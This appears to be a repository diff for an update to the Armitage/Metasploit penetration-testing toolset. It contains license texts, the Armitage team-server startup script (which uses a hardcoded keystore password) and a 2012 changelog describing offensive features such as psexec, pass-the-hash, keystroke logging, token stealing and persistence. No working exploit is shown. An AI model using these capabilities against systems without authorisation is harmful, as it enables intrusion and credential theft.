WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
|
||||
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
|
||||
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
|
||||
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
|
||||
LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
|
||||
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
|
||||
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
|
||||
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
|
||||
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
|
||||
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
|
||||
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
|
||||
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
|
||||
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
|
||||
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
|
||||
DAMAGES.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
````
|
||||
|
||||
|
||||
|
||||
OpenSSL
|
||||
=======
|
||||
- The OpenSSL library embedded into the Meterpreter payload binaries and the
|
||||
corresponding header files in the source tree
|
||||
|
||||
````
|
||||
The OpenSSL toolkit stays under a dual license, i.e. both the conditions of
|
||||
the OpenSSL License and the original SSLeay license apply to the toolkit.
|
||||
See below for the actual license texts. Actually both licenses are BSD-style
|
||||
Open Source licenses. In case of any license issues related to OpenSSL
|
||||
please contact openssl-core@openssl.org.
|
||||
|
||||
OpenSSL License
|
||||
---------------
|
||||
/* ====================================================================
|
||||
* Copyright (c) 1998-2011 The OpenSSL Project. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in
|
||||
* the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* 3. All advertising materials mentioning features or use of this
|
||||
* software must display the following acknowledgment:
|
||||
* "This product includes software developed by the OpenSSL Project
|
||||
* for use in the OpenSSL Toolkit. (http://www.openssl.org/)"
|
||||
*
|
||||
* 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to
|
||||
* endorse or promote products derived from this software without
|
||||
* prior written permission. For written permission, please contact
|
||||
* openssl-core@openssl.org.
|
||||
*
|
||||
* 5. Products derived from this software may not be called "OpenSSL"
|
||||
* nor may "OpenSSL" appear in their names without prior written
|
||||
* permission of the OpenSSL Project.
|
||||
*
|
||||
* 6. Redistributions of any form whatsoever must retain the following
|
||||
* acknowledgment:
|
||||
* "This product includes software developed by the OpenSSL Project
|
||||
* for use in the OpenSSL Toolkit (http://www.openssl.org/)"
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT `AS IS'' AND ANY
|
||||
* EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR
|
||||
* ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
|
||||
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
|
||||
* OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
* ====================================================================
|
||||
*
|
||||
* This product includes cryptographic software written by Eric Young
|
||||
* (eay@cryptsoft.com). This product includes software written by Tim
|
||||
* Hudson (tjh@cryptsoft.com).
|
||||
*
|
||||
*/
|
||||
|
||||
Original SSLeay License
|
||||
-----------------------
|
||||
|
||||
/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com)
|
||||
* All rights reserved.
|
||||
*
|
||||
* This package is an SSL implementation written
|
||||
* by Eric Young (eay@cryptsoft.com).
|
||||
* The implementation was written so as to conform with Netscapes SSL.
|
||||
*
|
||||
* This library is free for commercial and non-commercial use as long as
|
||||
* the following conditions are aheared to. The following conditions
|
||||
* apply to all code found in this distribution, be it the RC4, RSA,
|
||||
* lhash, DES, etc., code; not just the SSL code. The SSL documentation
|
||||
* included with this distribution is covered by the same copyright terms
|
||||
* except that the holder is Tim Hudson (tjh@cryptsoft.com).
|
||||
*
|
||||
* Copyright remains Eric Young's, and as such any Copyright notices in
|
||||
* the code are not to be removed.
|
||||
* If this package is used in a product, Eric Young should be given attribution
|
||||
* as the author of the parts of the library used.
|
||||
* This can be in the form of a textual message at program startup or
|
||||
* in documentation (online or textual) provided with the package.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* "This product includes cryptographic software written by
|
||||
* Eric Young (eay@cryptsoft.com)"
|
||||
* The word 'cryptographic' can be left out if the rouines from the library
|
||||
* being used are not cryptographic related :-).
|
||||
* 4. If you include any Windows specific code (or a derivative thereof) from
|
||||
* the apps directory (application code) you must include an acknowledgement:
|
||||
* "This product includes software written by Tim Hudson (tjh@cryptsoft.com)"
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ERIC YOUNG `AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* The licence and distribution terms for any publically available version or
|
||||
* derivative of this code cannot be changed. i.e. this code cannot simply be
|
||||
* copied and put under another distribution licence
|
||||
* [including the GNU Public Licence.]
|
||||
*/
|
||||
|
||||
````
|
||||
|
||||
|
||||
MIT
|
||||
===
|
||||
- The SSHKey library located under lib/sshkey.
|
||||
Copyright (c) 2011 James Miller
|
||||
- The Net::SSH library located under lib/net/ssh.
|
||||
Copyright (c) 2008 Jamis Buck <jamis@37signals.com>
|
||||
- Anemone located under lib/anemone
|
||||
Copyright (c) 2009 Vertive, Inc.
|
||||
- RKelly located under lib/rkelly/
|
||||
Copyright (c) 2007, 2008, 2009 Aaron Patterson, John Barnette
|
||||
- Gem components located under lib/gemcache
|
||||
* actionmailer - Copyright (c) 2004-2011 David Heinemeier Hansson
|
||||
* actionpack - Copyright (c) 2004-2011 David Heinemeier Hansson
|
||||
* activemodel - Copyright (c) 2004-2011 David Heinemeier Hansson
|
||||
* activerecord - Copyright (c) 2004-2011 David Heinemeier Hansson
|
||||
* activeresource - Copyright (c) 2006-2011 David Heinemeier Hansson
|
||||
* activesupport - Copyright (c) 2005-2011 David Heinemeier Hansson
|
||||
* authlogic - Copyright (c) 2011 Ben Johnson of Binary Logic
|
||||
* carrierwave - Copyright (c) 2008-2012 Jonas Nicklas
|
||||
* chunky_png - Copyright (c) 2010 Willem van Bergen
|
||||
* daemons - Copyright (c) 2005-2012 Thomas Uehlinger
|
||||
* diff-lcs - Copyright 2004–2011 Austin Ziegler
|
||||
* formtastic - Copyright (c) 2008-2010 Justin French
|
||||
* fssm - Copyright (c) 2011 Travis Tilley
|
||||
* hike - Copyright (c) 2011 Sam Stephenson
|
||||
* i18n - Copyright (c) 2008 The Ruby I18n team
|
||||
* jquery-rails - Copyright (c) 2010 Andre Arko
|
||||
* liquid - Copyright (c) 2005, 2006 Tobias Luetke
|
||||
* method_source - Copyright (c) 2011 John Mair (banisterfiend)
|
||||
* multi_json - Copyright (c) 2010 Michael Bleigh, Josh Kalderimis, Erik Michaels-Ober, and Intridea, Inc.
|
||||
* rack - Copyright (c) 2007, 2008, 2009, 2010 Christian Neukirchen <purl.org/net/chneukirchen>
|
||||
* rack-cache - Copyright (c) 2008 Ryan Tomayko <http://tomayko.com/about>
|
||||
* rack-ssl - Copyright (c) 2010 Joshua Peek
|
||||
* rake - Copyright (c) 2003, 2004 Jim Weirich
|
||||
* slop - Copyright (c) 2012 Lee Jarvis
|
||||
* sprockets - Copyright (c) 2011 Sam Stephenson, Copyright (c) 2011 Joshua Peek
|
||||
* state_machine - Copyright (c) 2006-2012 Aaron Pfeifer
|
||||
* thor - Copyright (c) 2008 Yehuda Katz
|
||||
* tilt - Copyright (c) 2010 Ryan Tomayko <http://tomayko.com/about>
|
||||
* treetop - Copyright (c) 2007 Nathan Sobo
|
||||
* tzinfo - Copyright (c) 2005-2006 Philip Ross
|
||||
|
||||
|
||||
|
||||
|
||||
````
|
||||
Permission is hereby granted, free of charge, to any person obtaining
|
||||
a copy of this software and associated documentation files (the
|
||||
"Software"), to deal in the Software without restriction, including
|
||||
without limitation the rights to use, copy, modify, merge, publish,
|
||||
distribute, sublicense, and/or sell copies of the Software, and to
|
||||
permit persons to whom the Software is furnished to do so, subject to
|
||||
the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be
|
||||
included in all copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
||||
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
||||
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
|
||||
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
|
||||
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
|
||||
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
|
||||
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||
|
||||
````
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Executable
+72
@@ -0,0 +1,72 @@
|
||||
#!/bin/bash
|
||||
# start msfrpcd and the deconfliction server. Check for common mistakes
|
||||
# to save some time and head scratching...
|
||||
|
||||
# check the arguments
|
||||
EXPECTED=2
|
||||
if [ $# -ne $EXPECTED ]; then
|
||||
echo "[-] You must provide: <external IP address> <team password>"
|
||||
echo " <external IP address> must be reachable by Armitage"
|
||||
echo " clients on port 55553"
|
||||
echo " <team password> is a shared password your team uses to"
|
||||
echo " authenticate to the Armitage team server"
|
||||
exit
|
||||
fi
|
||||
|
||||
# check that we're r00t
|
||||
if [ $UID -ne 0 ]; then
|
||||
echo "[-] Superuser privileges are required to run the team server"
|
||||
exit
|
||||
fi
|
||||
|
||||
# check if java is available...
|
||||
if [ $(command -v java) ]; then
|
||||
true
|
||||
else
|
||||
echo "[-] java is not in \$PATH"
|
||||
echo " is Java installed?"
|
||||
exit
|
||||
fi
|
||||
|
||||
# check if keytool is available...
|
||||
if [ $(command -v keytool) ]; then
|
||||
true
|
||||
else
|
||||
echo "[-] keytool is not in \$PATH"
|
||||
echo " install the Java Developer Kit"
|
||||
exit
|
||||
fi
|
||||
|
||||
# check if msfrpcd is available
|
||||
if [ $(command -v msfrpcd) ]; then
|
||||
true
|
||||
else
|
||||
echo "[-] msfrpcd is not in \$PATH"
|
||||
echo " is Metasploit installed?"
|
||||
exit
|
||||
fi
|
||||
|
||||
# check if msfrpcd is running or not
|
||||
if [ "$(pidof msfrpcd)" ]; then
|
||||
echo "[-] msfrpcd is already running. Kill it before running this script"
|
||||
echo " try: killall -9 msfrpcd"
|
||||
exit
|
||||
fi
|
||||
|
||||
# generate a certificate
|
||||
# naturally you're welcome to replace this step with your own permanent certificate.
|
||||
# just make sure you pass -Djavax.net.ssl.keyStore="/path/to/whatever" and
|
||||
# -Djavax.net.ssl.keyStorePassword="password" to java. This is used for setting up
|
||||
# an SSL server socket. Also, the SHA-1 digest of the first certificate in the store
|
||||
# is printed so users may have a chance to verify they're not being owned.
|
||||
echo "[+] Generating X509 certificate and keystore (for SSL)"
|
||||
rm -f ./armitage.store
|
||||
keytool -keystore ./armitage.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias armitage -dname "CN=Armitage Hacker, OU=FastAndEasyHacking, O=Armitage, L=Somewhere, S=Cyberspace, C=Earth"
|
||||
|
||||
# start everything up
|
||||
echo "[+] Starting RPC daemon"
|
||||
msfrpcd -U msf -P $2 -a 127.0.0.1 -p 55554 -S
|
||||
echo "[+] sleeping for 20s (to let msfrpcd initialize)"
|
||||
sleep 20
|
||||
echo "[+] Starting Armitage team server"
|
||||
java -Djavax.net.ssl.keyStore=./armitage.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+UseParallelGC -jar armitage.jar --server $1 55554 msf $2 55553
|
||||
@@ -1,6 +1,247 @@
|
||||
Armitage Changelog
|
||||
==================
|
||||
|
||||
26 Nov 12 (tested against msf 16114)
|
||||
---------
|
||||
- Windows command shell tab is now friendlier to commands that prompt
|
||||
for input (e.g., time command)
|
||||
- [host] -> Meterpreter -> Access -> Escalate Privileges now shows all
|
||||
the framework's new exploit/windows/local modules too
|
||||
- [host] -> Shell -> Post Modules now shows the framework's unix/local
|
||||
and exploit/linux/local modules
|
||||
- Added Ctrl+I shortcut. Lets you choose a session to interact with.
|
||||
- Added Steal Token button to Processes dialog.
|
||||
- Armitage now asks Metasploit for a non-expiring authentication token.
|
||||
This will prevent Armitage from losing its access to msfrpcd when you
|
||||
put your computer to sleep or pause the VM running Metasploit.
|
||||
- add_user and add_[local]group_user now show all of their output when
|
||||
the -h flag is used to operate on a remote host.
|
||||
- added a Delete menu to creds table. Right-click a cred to delete it
|
||||
|
||||
Cortana Updates (for scripters)
|
||||
--------
|
||||
- aliased &data_delete to &data_clear to match the documentation.
|
||||
- &file_get, &loot_get, and &file_content no longer delete the remote
|
||||
file when connected to a teamserver.
|
||||
|
||||
16 Oct 12 (tested against msf 15972)
|
||||
---------
|
||||
- Added port 5985 to MSF Scans list.
|
||||
- Meterpreter -> Access -> Persistence sets ACTION option for you
|
||||
- Changed how LHOST and LPORT are set globally to prevent Ruby
|
||||
character encoding conversion error in the framework.
|
||||
- Pass Session, Log Keystrokes, and Persist now query module info
|
||||
in a separate thread (avoids a deadlock opportunity)
|
||||
- Armitage now shows folder/URL in a popup dialog for environments
|
||||
where JDesktop API to open them directly is not supported
|
||||
- Check all credentials option now filters the list to avoid trying
|
||||
a pair of credentials twice.
|
||||
- Armitage's exploit payload selection now selects cmd/unix/interact
|
||||
when appropriate.
|
||||
- Explore -> Processes now works with Java Meterpreter again.
|
||||
- MSF Scans feature now runs http_version against port 443
|
||||
|
||||
5 Sept 12 (tested against msf r15804)
|
||||
---------
|
||||
- Setup dialog now trims host, port, user, and pass fields.
|
||||
- Armitage now complains when it can't write to your preferences
|
||||
file (versus just hanging without a real error message)
|
||||
- View -> Jobs now queries jobs in a thread outside of UI thread
|
||||
- Tab completion now uses a separate thread to call into the RPC
|
||||
server. This prevents a deadlock if server is not responding.
|
||||
- Login -> psexec now shows when 445 is open on a Windows machine.
|
||||
The old criteria was too restrictive.
|
||||
- Added a helper to set Wordlist option
|
||||
- Armitage now sets a random LPORT for non-exploit modules with an
|
||||
LPORT option (e.g., post modules that do priv escalation)
|
||||
- Armitage now shows an error if it can't open a Win command shell
|
||||
- Steal Token dialog now uses incognito module to get token data
|
||||
instead of the MSF post module. This is more reliable.
|
||||
- You may now setup the reverse payload for current_user_psexec
|
||||
|
||||
Cortana Updates (for scripters)
|
||||
--------
|
||||
- added an eventlog popup hook
|
||||
|
||||
16 Aug 12 (tested against msf r15753)
|
||||
----------
|
||||
- Dynamic workspaces now removes closed services from its set of
|
||||
hosts matching certain open ports.
|
||||
- Cortana console now reports a clear error message a built-in
|
||||
command is executed without the right number of arguments.
|
||||
- Added host icons for Android and iOS. You may now set these
|
||||
operating systems by going to [host] -> Host -> Operating System
|
||||
- Armitage now shows the client-side exploit dialog for any exploit
|
||||
that does not target an RHOST (for example, windows/smb/smb_relay)
|
||||
- Added support for remote exploits that use RHOSTS over RHOST
|
||||
(this includes the new windows/local/current_user_psexec)
|
||||
- Added a helper for setting the SESSION option
|
||||
|
||||
Cortana Updates (for scripters)
|
||||
--------
|
||||
- s_cmd no longer times out after 60s. It will wait forever for
|
||||
a command to complete now.
|
||||
- added shell_read event which fires when a shell s_cmd comes
|
||||
back with intermediate output.
|
||||
- fixed a potential deadlock with &open_console_tab
|
||||
- scripts now have the ability to redefine the max size of a
|
||||
workspace: db_workspace(%(size => #####));
|
||||
|
||||
2 Aug 12 (tested again msf r15698)
|
||||
--------
|
||||
- Armitage now reports vulnerability module and descriptions
|
||||
properly (again) when exporting data. Had to update to match a
|
||||
change to the db schema.
|
||||
- Pass-the-Hash and Login dialogs now stay open if you press
|
||||
shift while clicking Launch. This convention is pretty universal
|
||||
to Armitage.
|
||||
- Team server now buffers all of its outgoing data. I've also
|
||||
disabled SO_NODELAY. This will greatly improve team server latency
|
||||
on congested networks without impacting responsiveness otherwise.
|
||||
- Added Cortana, a DARPA funded scripting technology, into Armitage.
|
||||
There's a lot of fun to be had here.
|
||||
- Armitage now queues messages to destroy a console rather than
|
||||
spinning up a new thread for each closed console.
|
||||
- Rendering of icons for hosts now happens outside of UI thread.
|
||||
- Increased timeout for meterpreter read command
|
||||
- Armitage now detects a corrupt module cache and attempts to clear
|
||||
it so it can be rebuilt.
|
||||
|
||||
5 Jul 12
|
||||
--------
|
||||
- Login -> psexec now sets a different LPORT for each host it's
|
||||
launched against when using a reverse payload. Fixes a bug where
|
||||
using a reverse connect payload against X hosts didn't work.
|
||||
- Progressbar Cancel button now works with the Sync Files button
|
||||
in View -> Downloads and View -> Loot
|
||||
- Fixed a potential deadlock with the Sync Files feature
|
||||
- Clicking the Size column in View -> Downloads now sorts properly
|
||||
|
||||
24 Jun 12
|
||||
---------
|
||||
- Meterpreter -> Kill now uses session.stop RPC call
|
||||
- Simplified code to stop a running job
|
||||
- Added an option to disable TCP_NODELAY from the comamnd line:
|
||||
|
||||
java -Darmitage.enable_nagle=true -jar armitage.jar
|
||||
|
||||
Use this if you see "bad mac" SSL errors when connected to a
|
||||
team server.
|
||||
- Log Keystrokes tab now changes color when there is activity
|
||||
- Randomized filename for USERPASS_FILE to allow multiple brute
|
||||
forces to happen at once.
|
||||
- Added a View item in the File Browser's popup menu. This will
|
||||
let you quickly read several highlighted text files (it also
|
||||
saves the files to the right place locally too)
|
||||
|
||||
7 Jun 12 - Adding on to those quick bug fixes / tweaks
|
||||
--------
|
||||
- Disabled Nagles algorithm for team server and client SSL sockets.
|
||||
This makes team server much more responsive... trust me.
|
||||
- Fixed bug preventing Armitage from showing "Started Service"
|
||||
message when starting the SOCKS Proxy server.
|
||||
- Fixed a find feature highlight bug in the View tab.
|
||||
|
||||
30 May 12 - A few quick bug fixes / tweaks...
|
||||
---------
|
||||
- Fixed an exception when killing a session or removing a route
|
||||
through the UI.
|
||||
- Oooh, ps command added a new column to its output. Updated ps
|
||||
parser to handle this.
|
||||
- Hosts -> Import Hosts now works under Windows again. Had to
|
||||
escape the filename. *sigh*
|
||||
- Hail Mary now sets LHOST option. This is necessary for some
|
||||
attacks to work properly.
|
||||
- Tweaked console create code in beginning of Armitage setup to
|
||||
hopefully avoid aggravating the evil console.create deadlock
|
||||
condition.
|
||||
|
||||
21 May 12
|
||||
---------
|
||||
- Added a hack to prevent the input area from flickering when the
|
||||
prompt changes.
|
||||
- Updated the color palette to something a little more subtle.
|
||||
- Added an optimization to how modules are launched. This will make
|
||||
a difference for team use in high latency situations.
|
||||
- Rewrote MSF Scans feature to use console queue. This option is more
|
||||
reliable and it makes the code easier to follow.
|
||||
- Added a hack to combine chat message writes with a read request.
|
||||
This will make the event log more responsive in a high latency
|
||||
situation (can't you tell I care about this "situation")
|
||||
- Fixed text highlights through Ctrl+F on Windows. UNIX platforms
|
||||
were always OK. Another good reason to not use these tools on
|
||||
Windows. Ever.
|
||||
- View -> Downloads Sync Files feature now works on Windows. It looks
|
||||
like leaving those pesky :'s in the file paths is bad.
|
||||
|
||||
17 May 12
|
||||
---------
|
||||
- Fixed bug with loot/download viewer breaking with a font resize.
|
||||
- Default console font color is now grey. I never noticed that I had
|
||||
white text on a black background before. That's a lot of contrast.
|
||||
This is adjustable too through Armitage -> Preferences.
|
||||
- And... the Armitage console now displays pretty colors. If you don't
|
||||
like colors, set the console.show_colors.boolean preference to false
|
||||
through Armitage -> Preferences.
|
||||
- Fixed a bug preventing input field from getting focus when popping a
|
||||
console tab using Ctrl+W.
|
||||
|
||||
14 May 12
|
||||
---------
|
||||
- Oopserific--dynamic workspace shortcuts were not bound until you
|
||||
clicked the Workspaces menu. I fixed that.
|
||||
- Improved console pool's ability to detect a dead console. If you saw
|
||||
"null" prompts in an open tab, it's because of a dead console. Fixed
|
||||
- Bound Ctrl+Backspace to reset dynamic workspaces. Ctrl+0 is now back
|
||||
to what it originally did (resetting the font size to default).
|
||||
- Added Ctrl+T to take a screenshot of the active tab
|
||||
- Added Ctrl+W to pop the active tab into its own window
|
||||
- Armitage team server is now SSL enabled. The teamserver script (you
|
||||
are using it, right?) generates a certificate for you using keytool.
|
||||
The server presents the SHA1 hash of its certificate. Armitage users
|
||||
have the opportunity to verify and trust the hash of the certificate
|
||||
presented to them or to reject it and not connect.
|
||||
- Added Ctrl+Left / Ctrl+Right to quickly navigate through tabs.
|
||||
- Added a check to prevent clients from connecting to msfrpcd directly
|
||||
when teaming is enabled.
|
||||
- Fixed a bug that prevented command shells from opening on some sessions
|
||||
- Team server client now caches certain calls to RPC server.
|
||||
- Reworked the Loot/Downloads View button. Now, all highlighted files are
|
||||
displayed in one View tab. This makes searching easier. Each file is
|
||||
displayed with a colored header (to make it easier to tell when one file
|
||||
ends and the other begins).
|
||||
- Added Sync Files button to Loot/Downloads tabs when connected to a team
|
||||
server. This button will download all files associated with the highlighted
|
||||
rows and save them in the Armitage data directory.
|
||||
|
||||
7 May 12
|
||||
--------
|
||||
Note: Armitage team server setup has changed. Refer to the manual for
|
||||
the latest information: http://www.fastandeasyhacking.com/manual#7
|
||||
|
||||
- Armitage team mode now routes all Metasploit-bound calls through the
|
||||
deconfliction server. Armitage also pools "temporary" Metasploit
|
||||
consoles. It's too bad this is logged as one change, because it's
|
||||
more like twenty. These changes were motivated by a desire to avoid
|
||||
triggering a race condition that was introduced w/ Metasploit 4.3.0.
|
||||
http://dev.metasploit.com/redmine/issues/6829
|
||||
|
||||
On the bright side these changes will allow a lot more flexibility
|
||||
to optimize how Armitage interacts with msfrpcd and to do some neat
|
||||
things (like logging) in a centralized way.
|
||||
- Module description (in module launch dialog) is now resizable.
|
||||
- Added Ctrl+D keyboard shortcut to close active tab.
|
||||
- Armitage now uses (more robust) console queue for launching post
|
||||
modules, handlers, brute force attacks, and other things.
|
||||
- Fixed a race condition in the Jobs tab refresh after killing a job
|
||||
- Armitage now filters smb hashes from non-psexec/smb login dialogs.
|
||||
- Added armitage.log_data_here.folder setting. This setting lets you
|
||||
specify where Armitage will save its logs, downloaded files, and
|
||||
screenshots. *cough* Some penetration testers like to dump everything
|
||||
to an encrypted volume. *cough*. I apologize it took this long to
|
||||
get this feature in place.
|
||||
- Improved perceived responsiveness of a console interaction
|
||||
|
||||
17 Apr 12
|
||||
---------
|
||||
- Modified how Armitage determines a console command is complete to stay
|
||||
|
||||
Executable
BIN
Binary file not shown.
Executable
+69
@@ -0,0 +1,69 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Example plugin changelog</title>
|
||||
<style type="text/css">
|
||||
BODY {
|
||||
font-size : 100%;
|
||||
}
|
||||
BODY, TD, TH {
|
||||
font-family : tahoma, verdana, arial, helvetica, sans-serif;
|
||||
font-size : 0.8em;
|
||||
}
|
||||
H2 {
|
||||
font-size : 10pt;
|
||||
font-weight : bold;
|
||||
}
|
||||
A:hover {
|
||||
text-decoration : none;
|
||||
}
|
||||
H1 {
|
||||
font-family : tahoma, arial, helvetica, sans-serif;
|
||||
font-size : 1.4em;
|
||||
font-weight: bold;
|
||||
border-bottom : 1px #ccc solid;
|
||||
padding-bottom : 2px;
|
||||
}
|
||||
|
||||
TT {
|
||||
font-family : courier new;
|
||||
font-weight : bold;
|
||||
color : #060;
|
||||
}
|
||||
PRE {
|
||||
font-family : courier new;
|
||||
font-size : 100%;
|
||||
}
|
||||
.events TH {
|
||||
font-size: 8pt;
|
||||
font-family: verdana;
|
||||
font-weight: bold;
|
||||
text-align: left;
|
||||
background-color: #eee;
|
||||
border-bottom: 1px #ccc solid;
|
||||
}
|
||||
|
||||
.events .event {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.events TD {
|
||||
border-bottom: 1px #ccc dotted;
|
||||
vertical-align: top;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<h1>
|
||||
Example plugin
|
||||
</h1>
|
||||
|
||||
<h2>Todo</h2>
|
||||
|
||||
<p>
|
||||
Add changelog content here
|
||||
</p>
|
||||
</body>
|
||||
</html>
|
||||
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
|
After Width: | Height: | Size: 1.5 KiB |
Executable
BIN
Binary file not shown.
|
After Width: | Height: | Size: 1021 B |
Executable
+10
@@ -0,0 +1,10 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<plugin>
|
||||
<class>com.example.openfire.plugin.Example</class>
|
||||
<name>PLUGINNAME</name>
|
||||
<description>PLUGINDESCRIPTION</description>
|
||||
<author>PLUGINAUTHOR</author>
|
||||
<version>1.0.0</version>
|
||||
<date>7/7/2008</date>
|
||||
<minServerVersion>3.5.0</minServerVersion>
|
||||
</plugin>
|
||||
Executable
+69
@@ -0,0 +1,69 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Example plugin readme</title>
|
||||
<style type="text/css">
|
||||
BODY {
|
||||
font-size : 100%;
|
||||
}
|
||||
BODY, TD, TH {
|
||||
font-family : tahoma, verdana, arial, helvetica, sans-serif;
|
||||
font-size : 0.8em;
|
||||
}
|
||||
H2 {
|
||||
font-size : 10pt;
|
||||
font-weight : bold;
|
||||
}
|
||||
A:hover {
|
||||
text-decoration : none;
|
||||
}
|
||||
H1 {
|
||||
font-family : tahoma, arial, helvetica, sans-serif;
|
||||
font-size : 1.4em;
|
||||
font-weight: bold;
|
||||
border-bottom : 1px #ccc solid;
|
||||
padding-bottom : 2px;
|
||||
}
|
||||
|
||||
TT {
|
||||
font-family : courier new;
|
||||
font-weight : bold;
|
||||
color : #060;
|
||||
}
|
||||
PRE {
|
||||
font-family : courier new;
|
||||
font-size : 100%;
|
||||
}
|
||||
.events TH {
|
||||
font-size: 8pt;
|
||||
font-family: verdana;
|
||||
font-weight: bold;
|
||||
text-align: left;
|
||||
background-color: #eee;
|
||||
border-bottom: 1px #ccc solid;
|
||||
}
|
||||
|
||||
.events .event {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.events TD {
|
||||
border-bottom: 1px #ccc dotted;
|
||||
vertical-align: top;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<h1>
|
||||
Example plugin
|
||||
